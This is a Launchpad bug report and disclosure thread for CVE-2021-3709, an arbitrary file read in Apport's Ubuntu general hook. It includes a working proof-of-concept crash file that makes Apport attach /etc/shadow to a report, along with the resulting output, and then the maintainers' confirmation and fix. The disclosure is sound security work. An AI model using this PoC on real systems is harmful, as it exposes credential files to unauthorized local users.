Arbitrary file read in general hook (ubuntu.py)

Bug #1934308 reported by mal on 2021-07-01

This bug affects 1 person 258

Affects	Status	Importance	Assigned to	Milestone
Apport	Fix Released	Critical	Unassigned	Apport 2.21.0
apport (Ubuntu)	Fix Released	Undecided	Unassigned	

Bug Description

```
While reviewing Apport's general hooks it was found that the hook `apport/
general-hooks/ubuntu.py` includes user controlled files when handling
`emacs`-related reports:

if report['Package'] in ['emacs22', 'emacs23', 'emacs-snapshot',
'xemacs21']:
    # emacs add-on packages trigger byte compilation, which might fail
    # we are very interested in reading the compilation log to determine
    # where to reassign this report to
    regex = r'^!! Byte-compilation for x?emacs\S+ failed!'
    if attachment in report and re.search(regex, log_file, re.MULTILINE):
        for line in log_file.split('\n'):
            m = re.search(r'^!! and attach the file (\S+)', line) # [0]
            if m:
                path = m.group(1)
                apport.hookutils.attach_file_if_exists(report, path) # [1]

After using a regular expression to extract the file to attach [0], the
extracted file subsequently gets attached to the report file [1].

With automatic crash reporting enabled the following PoC (tested on
20.04/21.04 Desktop) includes the file `/etc/shadow` in the respective
report file:

cat << EOF > /var/crash/poc.crash
ProblemType: Package
ExecutablePath: /poc
Package: emacs22
DpkgTerminalLog: !! Byte-compilation for emacs22 failed!
 !! and attach the file /etc/shadow
EOF

grep -A5 DpkgTerminal /var/crash/poc.crash
DpkgTerminalLog: !! Byte-compilation for emacs22 failed!
 !! and attach the file /etc/shadow
.etc.shadow:
 root:!:18393:0:99999:7:::
 daemon:*:18375:0:99999:7:::
 bin:*:18375:0:99999:7:::

Best regards!
```

Related branches

lp:~ubuntu-core-dev/ubuntu/impish/apport/ubuntu

CVE References

2021-3709

2021-3710

Alex Murray (alexmurray) wrote on 2021-07-02: #2

```
I am unable to reproduce this issue on an up to date Ubuntu 20.04 desktop
install - when apport sees the crash file it runs but is not able to
access /etc/shadow so this does not get attached - am I missing something?
Can you please provide instructions for reproducing this on a fresh Ubuntu
20.04 install?

Changed in apport (Ubuntu):
 status:New → Incomplete
```

mal (mallle) wrote on 2021-07-02: #3

```
I just confirmed it on a freshly installed VM (Ubuntu 20.04 Desktop,
VMware Workstation 16 Player, Easy Install):
* Update: sudo apt update && sudo apt dist-upgrade
* Enable automatic problem reporting: Settings -> Diagnostics -> Send
error reports to Canonical -> Automatic
* Reboot

m@ubuntu:~$ cat << EOF > /var/crash/poc.crash
> ProblemType: Package
> ExecutablePath: /poc
> Package: emacs22
> DpkgTerminalLog: !! Byte-compilation for emacs22 failed!
> !! and attach the file /etc/shadow
> EOF
m@ubuntu:~$ grep -A5 DpkgTerminal /var/crash/poc.crash
DpkgTerminalLog: !! Byte-compilation for emacs22 failed!
 !! and attach the file /etc/shadow
.etc.shadow:
 root:!:18810:0:99999:7:::
 daemon:*:18667:0:99999:7:::
 bin:*:18667:0:99999:7:::

I hope this helps!
```

mal (mallle) wrote on 2021-08-02: #4

To avoid the expiration of this issue, I kindly wanted to ask if you could
reproduce the issue?

Marc Deslauriers (mdeslaur) wrote on 2021-08-13: #5

I am able to reproduce the issue, thanks!

Changed in apport (Ubuntu):
status:Incomplete → Confirmed

Marc Deslauriers (mdeslaur) wrote on 2021-08-13: #6

The approach proposed in comment #6 of bug 1933832 would solve this issue
also.

Marc Deslauriers (mdeslaur) wrote on 2021-08-13: #7

The emacs packages haven't stored the byte compilation results in log
files for years, at least since emacs22, so we can just remove this code
completely.

Steve Beattie (sbeattie) wrote on 2021-08-16: #8

Please use CVE-2021-3709 for this issue. Thanks.

Marc Deslauriers (mdeslaur) wrote on 2021-09-07: #9

I propose we publish these updates on 2021-09-14.

That will allow us to perform the final testing of these updates this
week.

Please advise if that public date is problematic.

Thanks!

Launchpad Janitor (janitor) wrote on 2021-09-14: #10

This bug was fixed in the package apport - 2.20.11-0ubuntu65.3

---

apport (2.20.11-0ubuntu65.3) hirsute-security; urgency=medium

  * SECURITY UPDATE: Arbitrary file read (LP: #1934308)
    - data/general-hooks/ubuntu.py: don't attempt to include emacs
      byte-compilation logs, they haven't been generated by the emacs
      packages in a long time.
    - CVE-2021-3709
  * SECURITY UPDATE: Info disclosure via path traversal (LP: #1933832)
    - apport/hookutils.py, test/test_hookutils.py: detect path traversal
      attacks, and directory symlinks.
    - CVE-2021-3710

 -- Marc Deslauriers <email address hidden> Thu, 26 Aug 2021 10:55:40
-0400

Changed in apport (Ubuntu):
status:Confirmed → Fix Released

Marc Deslauriers (mdeslaur) wrote on 2021-09-14: #11

Updates have now been released:

https://ubuntu.com/security/notices/USN-5077-1

Thanks!

Marc Deslauriers (mdeslaur) on 2021-09-16

information type:Private Security → Public Security

Benjamin Drung (bdrung) on 2022-06-27

Changed in apport:
    status:New → Fix Released
importance:Undecided → Critical
 milestone:none → 2.21.0

See full activity log

To post a comment you must log in.